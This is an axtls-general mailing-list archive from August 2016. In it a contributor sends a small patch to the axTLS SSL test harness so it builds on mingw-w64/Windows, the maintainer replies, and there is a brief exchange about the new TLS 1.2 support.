Actually, a few more tweaks are needed to compile with mingw-w64 / msys2. Preparing another patch. On Sat, Aug 20, 2016 at 10:32 AM, Cameron Hamilton-Rich < cam...@gm...> wrote: > Thanks for that. I was expecting far more serious bugs! > > > Cam > > On 20/08/2016 5:51 PM, Shiro Kawai wrote: > > Thanks for axTLS 2.0.0. > > I got stumbled with a ssltest error on mingw-w64 and this fixes it. > > > =================================== > --- ssl/test/ssltest.c (revision 269) > +++ ssl/test/ssltest.c (working copy) > @@ -1540,7 +1540,11 @@ > else > { > sprintf(openssl_buf, "openssl s_server " > +#ifdef WIN32 > + "-accept %d -quiet %s", > +#else > "-accept %d -quiet %s > /dev/null", > +#endif > g_port, svr->openssl_option); > } > //printf("SERVER %s\n", openssl_buf); > ==================================== > > > ------------------------------------------------------------------------------ > > > > _______________________________________________ > axtls-general mailing lis...@li...https://lists.sourceforge.net/lists/listinfo/axtls-general > > > -- > Cameron Hamilton-Rich > 41 Tenth Ave, > Coorparoo, 4151 > Ph: 0421 838287 > Email: cam...@gm... > > > ------------------------------------------------------------ > ------------------ > > _______________________________________________ > axtls-general mailing list > axt...@li... > https://lists.sourceforge.net/lists/listinfo/axtls-general > > |
From: Cameron Hamilton-R. <cam...@gm...> - 2016-08-20 20:32:41
|
<html> <head> <meta content="text/html; charset=windows-1252" http-equiv="Content-Type"> </head> <body bgcolor="#FFFFFF" text="#000000"> <p>Thanks for that. I was expecting far more serious bugs!</p> <p><br> </p> <p>Cam<br> </p> <br> <div class="moz-cite-prefix">On 20/08/2016 5:51 PM, Shiro Kawai wrote:<br> </div> <blockquote cite="mid:CAL...@ma..." type="cite"> <div dir="ltr">Thanks for axTLS 2.0.0. <div><br> </div> <div>I got stumbled with a ssltest error on mingw-w64 and this fixes it.</div> <div><br> </div> <div><br> </div> <div>===================================</div> <div> <div>--- ssl/test/ssltest.c<span class="" style="white-space:pre"> </span>(revision 269)</div> <div>+++ ssl/test/ssltest.c<span class="" style="white-space:pre"> </span>(working copy)</div> <div>@@ -1540,7 +1540,11 @@</div> <div> else</div> <div> {</div> <div> sprintf(openssl_buf, "openssl s_server " </div> <div>+#ifdef WIN32</div> <div>+ "-accept %d -quiet %s", </div> <div>+#else</div> <div> "-accept %d -quiet %s > /dev/null", </div> <div>+#endif</div> <div> g_port, svr->openssl_option);</div> <div> }</div> <div> //printf("SERVER %s\n", openssl_buf);</div> </div> <div>====================================</div> </div> <br> <fieldset class="mimeAttachmentHeader"></fieldset> <br> <pre wrap="">------------------------------------------------------------------------------ </pre> <br> <fieldset class="mimeAttachmentHeader"></fieldset> <br> <pre wrap="">_______________________________________________ axtls-general mailing list <a class="moz-txt-link-abbreviated" href="mailto:axt...@li...">axt...@li...</a> <a class="moz-txt-link-freetext" href="https://lists.sourceforge.net/lists/listinfo/axtls-general">https://lists.sourceforge.net/lists/listinfo/axtls-general</a> </pre> </blockquote> <br> <pre class="moz-signature" cols="72">-- Cameron Hamilton-Rich 41 Tenth Ave, Coorparoo, 4151 Ph: 0421 838287 Email: <a class="moz-txt-link-abbreviated" href="mailto:cam...@gm...">cam...@gm...</a></pre> </body> </html> |
From: Shiro K. <shi...@gm...> - 2016-08-20 07:51:58
|
Thanks for axTLS 2.0.0. I got stumbled with a ssltest error on mingw-w64 and this fixes it. =================================== --- ssl/test/ssltest.c (revision 269) +++ ssl/test/ssltest.c (working copy) @@ -1540,7 +1540,11 @@ else { sprintf(openssl_buf, "openssl s_server " +#ifdef WIN32 + "-accept %d -quiet %s", +#else "-accept %d -quiet %s > /dev/null", +#endif g_port, svr->openssl_option); } //printf("SERVER %s\n", openssl_buf); ==================================== |
From: Daniel S. <da...@ha...> - 2016-08-17 11:15:30
|
On Wed, 17 Aug 2016, Cameron Hamilton-Rich wrote: > There is a new version of axTLS which now supports TLS 1.2 which is a rather > significant feature. Wohoo, may I suggest that you update that fact on the web page as well? -- / daniel.haxx.se |